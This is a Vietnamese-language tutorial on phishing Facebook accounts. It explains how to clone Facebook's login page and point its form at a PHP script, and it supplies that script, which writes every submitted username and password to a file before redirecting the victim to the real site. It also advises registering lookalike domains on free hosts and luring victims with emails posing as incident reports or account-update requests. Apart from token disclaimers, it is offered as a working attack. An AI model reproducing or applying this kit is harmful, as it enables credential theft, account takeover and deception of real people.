[ Phising ] Hướng dẫn hack Facebook với phương pháp Phising

Nghe hack facebook thì các bạn có thể nghỉ rằng chắc là lừa đảo hay chém gió cho vui, cũng bởi vì facebook là một tập đoàn mạng xã hội lớn nhất hiện tại, hệ thống server, bảo mật của nó là thứ thuộc dạng “siêu nhân” hết rồi, nhưng chúng ta cũng biết rằng, không có 1 căn nhà nào hoàn hảo cả, thế nào cũng phải có lổ cho những con kiến chui vào. ^^

Mục đích của chúng ta là đánh lừa nạn nhân rằng họ đang ở website của facebook (nhưng thật chất là web fake của mình tạo ra thôi) và đăng nhập tài khoản với password vào, lúc này tài khoản và password sẽ tự động gửi về host của mình.

Và 1 điều cần nói là hy vọng các bạn không sử dụng phương pháp này để quậy phá hay có hành vi trộm cắp thông tin cá nhân của người khác, chủ yếu là để vọc phá thôi.

Các bạn vào trang chủ của facebook : www.facebook.com

Click chuột phải vào vùng trống và chọn view source (firefox) hoặc view page source (chrome), nó sẽ ra 1 trang toàn là chữ với chữ, chúng ta copy hết nguyên đống code này về bỏ vào 1 file notepad, save lại với tên file là index.html để nó thành 1 web tĩnh. Bạn có thể mở nó lên lại thử xem có phải hiện ra trang đăng nhập của facebook ko.

Sau đó mở lại file index lên bằng notepad, nhấn Ctr + F để mở khung tìm kiếm, bạn gõ chữ “action” và nhấn find để tìm, nó sẽ tìm tới dòng có dạng như sau thì dừng lại: action=”http://http://www.facebook.com/login.php?login_atempt=1“, lúc này bạn thay dòng http://http://www.facebook.com/login.php?login_atempt=1 trong ngoặc kép thành phishing.php, save lại.

Xong phần web fake, giờ chúng ta tạo mới 1 file notepad với nội dung như sau:

<?php
header (‘Location:http://www.facebook.com/&#8217;);
$handle = fopen(“pass.txt”, “a”);
foreach($_POST as $variable => $value) {
   fwrite($handle, $variable);
   fwrite($handle, “=”);
   fwrite($handle, $value);
   fwrite($handle, “\r\n”);
}
fwrite($handle, “\r\n”);
fclose($handle);
exit;
?> 

Chúng ta save file này lại với tên phishing.php. Tổng cộng ta có 2 file là index.html và phishing.php

Bây giờ tới phần hosting, các bạn có thể tạo host miễn phí tại bytehost.com, và tên miền miễn phí tạidyn.com/dns .Các bạn nên đặt  1 cái tên miền nào liên quan tới facebook để dễ đánh lừa người khác dạng như facebook.dyndns.com hay facebooks.dyndns.com , facebook.bytehost7.com

Sau khi tạo và kết nối xong host với domain, chúng ta vào phần contolpanel của hosting, rồi kiếm mục file manager, trong file manager ta sẽ thấy có thư mục  htdocs doc or publish_html (host khác), chúng ta vào trong thư mục đó xóa file index.htm trong đó nếu có, sau đó chọn upload và up 2 file phishing.php vàindex.html từ máy tính lên thư mục này.

Chúng ta vào vào website bằng tên miền vừa đăng ký ở trên thử xem kết quả, nếu ra giao diện của trang đăng nhập trên face là ok. Còn nếu chưa được thì kiểm tra lại xem hosting và tên miền.

Thật chất chỗ này không khó, nhưng đòi hỏi phải có chút kiến thức về hosting và tên miền thì mới làm được, các bạn có thể đăng ký hosting và tên miền miễn phí của nhà cung cấp nào cũng được, Mục đích chính của chúng ta là up 2 file phishing.php và pass.txt lên host để tạo thành một web fake đơn giản và chạy trên internet. Bạn nào dân IT thì có thể tự làm trên localhost rồi tự NAT qua ngoài chạy cũng được.

Tới đây coi như là xong 90% rồi, chỉ còn việc gửi đường link website này đi cho nạn nhân với 1 nội dung như báo cáo sự cố hay cần update thông tin trên facebook thông qua mail kèm theo đường link website fake của mình, tùy theo khả năng mời gọi của mỗi người mà nạn nhân dễ sập bẫy hơn. Đại loại như vầy:

Khi nạn nhân nhấn vào link nó sẽ vào web fake của mình nhưng giao diện là của trang đăng nhập facebook, nếu may mắn thì sẽ không bị nghi ngờ tên miền, nạn nhân sẽ điền thông tin để đăng nhập, và khi login, website sẽ tự động chuyển về trang chủ facebook, coi như mất dấu vết.

Sau khi nạn nhân điền thông tin đăng nhập và login thì nó sẽ tự động gửi về hosting 1 file tên là pass.txt

Các bạn vào file manager, trong thư mục chứa file phishing.php, các bạn sẽ thấy file này, mở ra sẽ thấy được tên tài khoản và password tài khoản đó.

Thế là xong, hy vọng các bạn không dùng nó để làm điều xấu, có thể dùng nó để test trên bạn bè cho vui nhằm biết thêm một vài trick hack cho vui.

Chúc các bạn may mắn.